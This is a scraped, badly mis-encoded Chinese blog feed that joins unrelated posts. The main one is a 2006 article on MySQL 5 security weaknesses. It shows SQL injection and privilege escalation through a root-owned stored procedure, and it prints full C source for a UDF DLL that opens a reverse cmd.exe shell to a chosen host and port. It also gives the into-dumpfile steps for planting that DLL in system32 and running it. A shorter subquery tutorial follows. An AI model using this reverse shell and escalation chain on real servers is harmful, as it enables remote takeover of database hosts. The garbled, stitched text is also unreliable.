??xml version="1.0" encoding="utf-8" standalone="yes"?>
如果需要英文的请到MySQL知识库中下蝲?img src ="http://www.aygfsteel.com/chenpengyi/aggbug/77933.html" width = "1" height = "1" />
]]>
AuthorQSuperHei_[At]_ph4nt0m.org
BlogQ?/FONT>http://superhei.blogbus.com/
TeamQ?/FONT>http://www.ph4nt0m.org
Data: 2006-01-29
Mysql5增加很多新的功能Q开始支持:存储q程、触发器、视图、信息架构视囄新特。可以说q些都是发展的必Ӟ但是新的东西的出来,必定也会带来新的安全问题Q如Mysql4开始支持union查询、子查询。这直接Dmysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢Q下面我l大家介l下mysql5在安全方面的特点Q?BR>
一、password authentication
mysql5的password()和mysql4.1一P采用的基于SHA1?1位hashQ?BR>
mysql> select password('mypass');
+-------------------------------------------+
| password('mypass') |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)
在mysql4.1以前的password hashes是基?6位md5Q?BR>
mysql> SELECT PASSWORD('mypass');
+--------------------+
| PASSWORD('mypass') |
+--------------------+
| 6f8c114b58f2ce9e |
+--------------------+
当用低版本的Clientq接Ӟ回出现错误:Client does not support authentication protocolQؓ了解册个问题,mysql5提供了一个old_password(),q当于mysql4.1以前的的password():
mysql> select old_password('mypass');
+------------------------+
| old_password('mypass') |
+------------------------+
| 6f8c114b58f2ce9e |
+------------------------+
1 row in set (0.09 sec)
二、数据字?information_schema)
和mssql、oracle、db2{数据库一Pmysql5提供了一个系l数据库Qinformation_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+---------------------------------------+
16 rows in set (0.17 sec)
在这个数据库里我们可以得到很多信息,包括当前用户权限Q?BR>mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| 'KK1'@'%' | NULL | USAGE | NO |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)
当前用户权限下可以访问的数据库,表,列名Q这个在sql注射中,D直接暴区数据库,表列名,再也不要‘暴力’咯Q:
mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in | article | articleid |
| in | user | userid |
+--------------+------------+-------------+
2 rows in set (0.02 sec)
q可以得到当前用h限下的VIEWSQROUTINES{,关于ROUTINES我们在下面的‘存储过E’里详细介绍?BR>
[ps:注意是‘当前用h限’如果是rootQ那么太可以得到所有的数据库名UC及表列名{等]
三、存储过E?Stored Procedures)
'存储q程'的用是mysql5的一个闪光点Q在带来方便的同Ӟ它也带来了新的安全隐(zhn):如sql注射Q用h限提升等{?BR>
D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)
mysql> delimiter ;
mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
上面我们使用root在数据库in里创Z一个名为test的存储过E?BR>
a、SQL Injection
mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call test(1 and 1=2);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
b、跨权限
存储q程是承创的权限的,如果存储q程是root创徏的,当其他普通用户用这个存储过E时Q导致跨权限dQ?BR>
mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO 'KK1'@'%'
-> IDENTIFIED BY 'OBSCURE';
Query OK, 0 rows affected (0.03 sec)
上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限Q用KK1登陆Q?BR>D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)
我们可以得到KK1可以使用存储q程in.test 其创ؓroot@localhost。不qKK1没有权限得到ROUTINE_DEFINITION 是in.test的代码。下面看看跨权限Q?BR>
mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
没有file权限的KK1可以使用in.test使用load_file()Q我们还可以直接对mysql.userq行selectQ如果存储过E可以updataQinsert注射Q那么我们可以普通用L接通过注射来修改mysql.user里的数据?BR>
四、User-Defined Function
[psQ下面都是基于winpȝ]
mysql5的udf在格式和安全斚w做一些新的改变:
1、格式要求更加严格[xxx_init()初始化函数]
对于没有xxx_init()初始化函?在以前的版本是可以用的Q但是在mysql5下会出现Can't find function 'xxx_init' in library的错误,如:
mysql> create function ExitProcess returns integer soname 'kernel32';
ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library
下面l出的代码是好友云舒写的Q符合mysql5的udf格式要求可以在mysql5下用:
/*******************************************************************************
* File: MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#define MAKE_DLL /* Build dll here */
#include "MySQL_Shell.h"
#pragma comment( lib, "ws2_32" )
#define BUFFER_SIZE 1024
///////////////////////////////////////////////////////////////////////////////
//函数原型
///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *, char * );
void LogMsg( char * );
///////////////////////////////////////////////////////////////////////////////
//MySQL模块初始化函?
///////////////////////////////////////////////////////////////////////////////
LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, "Shell() requires two arguments" );
return 1;
}
if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, "Shell() requires two string arguent" );
return 1;
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////
//MySQL模块d能函敎ͼ反向q接提供shell
///////////////////////////////////////////////////////////////////////////////
LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
SOCKET sock;
SOCKADDR_IN sin;
int ret;
// Create socket
sock = socket( AF_INET, SOCK_STREAM, 0 );
if ( sock == INVALID_SOCKET )
{
strcpy( error, "Create socket error" );
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(args->args[1]) );
sin.sin_addr.s_addr = inet_addr( args->args[0] );
//connect to remote server
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
if( ret == SOCKET_ERROR )
{
strcpy( error, "Connect error" );
return -1;
}
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
PROCESS_INFORMATION processInfo;
char cmdLine[] = "cmd.exe";
ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
char buff[BUFFER_SIZE] = { 0 };
unsigned long bytesRead = 0;
int i = 0;
while( TRUE )
{
memset( buff, 0, BUFFER_SIZE );
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
for(i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100);
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
}
if( bytesRead )
{
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
ret = send( sock, buff, bytesRead, 0 );
if( ret <= 0 ) break;
}
else
{
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
if( bytesRead <= 0 ) break;
if( StartWith( buff , "exit" ) == TRUE ) break;
ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
}
}
TerminateProcess( processInfo.hProcess, 0 );
CloseHandle( hReadPipe1 );
CloseHandle( hReadPipe2 );
CloseHandle( hWritePipe1 );
CloseHandle( hWritePipe2 );
closesocket( sock );
return 0;
}
///////////////////////////////////////////////////////////////////////////////
//判断字符串是否以另一个字W串开?
///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len ) == 0 )
{
return TRUE;
}
return FALSE;
}
///////////////////////////////////////////////////////////////////////////////
//记录日志信息Q调试用
///////////////////////////////////////////////////////////////////////////////
void LogMsg( char *msg )
{
FILE *fp;
fp = fopen( "C:\mysql.txt", "a+" );
fputs( msg, fp );
fclose( fp );
}
/*******************************************************************************
* File: MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*******************************************************************************/
#ifdef MAKE_DLL
#define LIB extern "C" __declspec(dllexport)
#else
#define LIB extern "C" __declspec(dllimport)
#endif
#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */
typedef char my_bool;
enum Item_result
{
STRING_RESULT,REAL_RESULT,INT_RESULT
};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );
LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );
2、mysql5限制了udf对应的文件dll文g只可以放在system32目录下?BR>对于一般低权限的系l用h没有对system32目录写权限的Q在q样的情况下我们可以使用into dumpfile把dll文g攑ֈsystem32来突_具体如下Q?BR>mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)
mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)
mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)
mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)
五、参?BR>《MySQL 5.0 Reference Manual?http://dev.mysql.com/doc/refman/5.0/en/
《Hackproofing MySQL?nbsp; http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
《给mysql加个自定义函敎ͼwindowsq_Q?/FONT>http://www.icylife.net/yunshu/show.php?id=244
六、感?BR>感谢云舒、TomyChen、Mix ...所有pst的兄弟们?BR>
谢谢阅读!
]]>
1. SELECT语句的子查询:
语法: SELECT ... FROM (subquery) AS name ...
先创Z个表:
CREATE TABLE t1 (s1 INT, s2 CHAR(5), s3 FLOAT);
INSERT INTO t1 VALUES (1,'1',1.0);
INSERT INTO t1 VALUES (2,'2',2.0);
我们可以进行以下的嵌套查询?
SELECT sb1,sb2,sb3
FROM (SELECT s1 AS sb1, s2 AS sb2, s3*2 AS sb3 FROM t1) AS sb
WHERE sb1 > 1;
l果是: 2, '2', 4.0
.
我们知道下面语句是不会得到正结果的Q因为对l过Group by排序的集合进行求均值是不能得到正确{案的:
SELECT AVG(SUM(column1)) FROM t1 GROUP BY column1
所以我们可以通过下面的嵌套查询实现同L效果Q?BR>SELECT AVG(sum_column1)
FROM (SELECT SUM(column1) AS sum_column1
FROM t1 GROUP BY column1) AS t1;
2.行的子查询(Row SubqueryQ:
看下面的例子Q?BR>SELECT * FROM t1 WHERE ROW(1,2) = (SELECT column1, column2 FROM t2);
q个查询是返回column1{于column2的结果行。Row函数中的1?相当于构造参数。想必Blogjava上的同志对这些应该比较清楚,也不去详l介l了?BR>
3.使用Exist和Not Exist参数
q里的Exist和Not Exist用途及用法和在其他没有什么大的区?我就单D几个范例好了:
范例一: SELECT DISTINCT store_type FROM Stores
WHERE EXISTS (SELECT * FROM Cities_Stores
WHERE Cities_Stores.store_type = Stores.store_type);
范例? SELECT DISTINCT store_type FROM Stores
WHERE NOT EXISTS (SELECT * FROM Cities_Stores
WHERE Cities_Stores.store_type = Stores.store_type);
范例? q个例子中嵌套用了Not Exist语法Q稍微注意一下:
SELECT DISTINCT store_type FROM Stores S1
WHERE NOT EXISTS (
SELECT * FROM Cities WHERE NOT EXISTS (
SELECT * FROM Cities_Stores
WHERE Cities_Stores.city = Cities.city
AND Cities_Stores.store_type = Stores.store_type));
4.条g兌关系查询Q?BR>解释hȝQ直接看例子吧:
SELECT column1 FROM t1 AS x
WHERE x.column1 = (SELECT column1 FROM t2 AS x
WHERE x.column1 = (SELECT column1 FROM t3
WHERE x.column2 = t3.column1));
跟其他数据库做法是一L?BR>
5.其他使用Ҏ(gu)和注意:
除了上面q些q有很多很多Q不q就不去l讲了,因ؓq些跟别的数据库差不多,只是Zl大家一个参考,提提够了?BR>
SELECT (SELECT s1 FROM t2) FROM t1;
SELECT (SELECT s2 FROM t1);
支持子查询的语法有:SELECTQINSERTQUPDATEQDELETEQSET和DO?BR>
子查询可以用Q何普通查询中使用的关键词Q如DINSTINCTQGROUP BYQLIMITQORDER BYQUNIONQALLQUNION ALL{。可以?lt;,>, <=, >=, =, <>q算W进行比较,也可以用ANY QIN和SOMEq行集合的匹配?BR>
转蝲h明出处:陈朋?http://www.aygfsteel.com/chenpengyi
今天l于译完咯Q哈哈,下面是链接,希望能给有需要的人帮助!
http://www.aygfsteel.com/Files/chenpengyi/MySQL-Triggers-Translation-CN.rar
如果需要原版的话,可以C面地址下蝲Q?BR>http://dev.mysql.com/tech-resources/articles/mysql-triggers.pdf